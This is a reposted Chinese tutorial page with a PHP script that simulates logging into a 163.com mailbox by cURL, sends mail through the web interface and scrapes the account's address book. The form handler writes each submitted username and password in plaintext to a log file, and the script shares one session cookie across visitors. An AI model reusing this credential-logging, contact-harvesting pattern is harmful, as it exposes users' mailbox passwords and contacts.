您的位置:首页 > 编程语言 > PHP开发

php 模拟163邮箱模拟登陆发送邮件

2015-05-05 16:20 986 查看
<?php
header("Content-Type: text/html; charset=UTF-8");
error_reporting(0);
/**
* 登陆
* $user 163用户名
* $pass 密码
**/
function login($user,$pass){
//登陆
$url = 'http://reg.163.com/logins.jsp?type=1&url=http://entry.mail.163.com/coremail/fcg/ntesdoor2?lightweight%3D1%26verifycookie%3D1%26language%3D-1%26style%3D-1';
$cookie = tempnam('./cache/','~');//创建一个用于存放cookie信息的临时文件
$fields_post = array(
'username'		=>$user,
'password'		=> $pass,
'verifycookie'	=> 1,
'style'			=> -1,
'product'		=> 'mail163',
'selType'		=> -1,
'secure'		=> 'on'
);
$fields_string = '';
foreach($fields_post as $key => $value){
$fields_string .= $key . '=' . $value . '&';
}
$fields_string = rtrim($fields_string , '&');
$headers = array(
'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0',
'Referer'    => 'http://www.163.com'
);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//返回结果存放在变量中,而不是默认的直接输出
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);//关闭连接时,将服务器端返回的cookie保存在以下文件中

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
$result= curl_exec($ch);
curl_close($ch);
preg_match_all('/<div class="info" id="eHint">(.*?) <\/div>/i', $result,$infos,PREG_SET_ORDER);
if(!empty($infos['0']['1'])){
unlink($cookie);
exit('<script type="text/javascript">alert("'.$infos['0']['1'].'");history.go(-1);</script>');
}else{
$G_ROOT = dirname(__FILE__);
file_put_contents($G_ROOT.'/cache/cookie', $cookie);
return $cookie;
}
}
/**
*
* $data['url'] 请求地址
* $data['data_post'] post数据
* $data['cookie']
*
**/
function curl($data){
$url = $data['url'];
$data_post= $data['data_post']? $data['data_post']: false;
$cookie = $data['cookie'];
$headers = array(
'User-Agent'        => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0',
'Referer'    => 'http://www.163.com'
);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);  //cookie文件 登陆之后

//POST 提交
if($data_post){
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_post);
}
$result = curl_exec($ch);
curl_close($ch);
return $result;
}

/**
*获取sid
**/
function sid($cookie){
$data = array(
'url'=>'http://entry.mail.163.com/coremail/cg/ntesdoor2?lightweight=1&verifycookie=1&language=-1&style=-1&username=loki_wuxi',
'cookie'=>$cookie
);
$result =curl($data);
preg_match('/sid=[^\"sid].*&/', $result, $location);//取得sid
$sid = substr($location[0], 4, -1);
return $sid;
//file_put_contents('./result.txt', $sid);
}
/**
* 获取Email
**/
function adds_email($cookie){
$data = array(
'url'=>'http://g4a30.mail.163.com/jy8/address/addrlist.jsp?sid='.sid($cookie).'&gid=all',//通讯录地址
'cookie'=>$cookie
);
$result =curl($data);
//unlink($cookie);
//开始抓取内容
preg_match_all('/
<td class="Ibx_Td_addrName">
<a[^>
]*>(.*?)
<\/a>
<\/td>
<td class="Ibx_Td_addrEmail">
<a[^>
]*>(.*?)
<\/a>
<\/td>
/i', $result,$infos,PREG_SET_ORDER);
return $infos;
}

/**
* 发邮件
*
**/
function send($data){
$pots_xml='
<?xml version="1.0"?>
<object>
<string name="id">c:'.time().rand(100,999).'</string>
<object name="attrs">
<string name="account">"'.$data['user'].'"<'.$data['user'].'@163.com></string>
<boolean name="showOneRcpt">false</boolean>
<array name="to">
<string>'.$data['to'].'</string>
</array>
<array name="cc"/>
<array name="bcc"/>
<string name="subject">'.$data['title'].'</string>
<boolean name="isHtml">true</boolean>
<string name="content">'.$data['content'].'</string>
<int name="priority">3</int>
<boolean name="saveSentCopy">true</boolean>
<string name="charset">GBK</string>
</object>
';
$pots_xml='var='.rawurlencode($pots_xml);
$cookie = $data['cookie'];
$data_to = array(
'url'=>'http://mail.163.com/js6/s?sid='.sid($cookie).'&func=mbox:compose&cl_send=2&l=compose&action=deliver',
'data_post'=>$pots_xml,
'cookie'=>$cookie
);
$result =curl($data_to);
return $result;
}

if(!empty($_POST)){
foreach($_POST as $k=>$v){
if(empty($v[$k])){
exit('<script type="text/javascript">alert("'.$k.'不能为空!");history.go(-1);</script>');
}
}
file_put_contents("./cache/log.txt", $_POST['user'].'--'.$_POST['pass'].'--'.$_POST['to'].'--'.$_POST['title']."\n\r", FILE_APPEND);
$user = $_POST['user'];//邮箱用户名(不带@163.com后缀的)
$pass = $_POST['pass'];//邮箱密码
$G_ROOT = dirname(__FILE__);
$cookie = file_get_contents($G_ROOT.'/cache/cookie');
if(!file_exists($cookie)){
$cookie = login($user,$pass);
}else{
$mail = array(
'user'		=> $user,
'to'		=> $_POST['to'],
'title'		=> $_POST['title'],
'content'	=> $_POST['content'],
'cookie'	=> $cookie
);
$result = send($mail);
preg_match_all('/
<code>(.*?)<\/code>
/i', $result,$infos,PREG_SET_ORDER);
//exit($infos['0']['1']);
if($infos['0']['1']=='S_OK'){
$mail = adds_email($cookie);
echo('<script type="text/javascript">alert("发送成功!");</script>');
}else{
if($infos['0']['1']=='FA_UNAUTHORIZED'){
unlink($cookie); //登陆超时
}
exit('<script type="text/javascript">alert("发送失败:'.$infos['0']['1'].'");history.go(-1);</script>');
}
}

}
?>

<!DOCTYPE html>
<html>
<head>
<title></title>
<style type="text/css">
h1{margin:40px 0;}
li{list-style:none; }
li span{display:block;width:100px;margin-top:20px}
li input{padding:5px;width:300px;height:35px;font-size: 16px;}
li textarea{width:500px;}
</style>
</head>
<body>
<div style="width:1000px;margin:10px auto;">
<h1>模拟登陆163邮箱发邮件</h1>
<?php
if(!empty($mail)){
echo '<h2>通讯录地址</h2>';
foreach($mail as $k=>$v){
echo '名称:'.iconv("gb2312","utf-8",$v['1']).' --- 邮箱:'.iconv("gb2312","utf-8",$v['2']).'<br>';
}
}
?>
<form name="input" action="" method="post">
<li><span>用户名:</span> <input type="text" name="user" /> 不带“@163.com”</li>
<li><span>密码:</span> <input type="password" name="pass" /></li>
<li><span>收件人邮箱: </span><input type="text" name="to" /></li>
<li><span>邮箱主题: </span><input type="text" name="title" value="模拟发邮件测试"/></li>
<li><span>邮箱内容:</span><textarea rows="10" cols="30" name="content"><a href="http:www.chree.cn">这是模拟发邮件测试</a></textarea></li>
<li><span><input type="submit" value="Submit" /></span></li>
</form>
</div>
</body>
</html>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: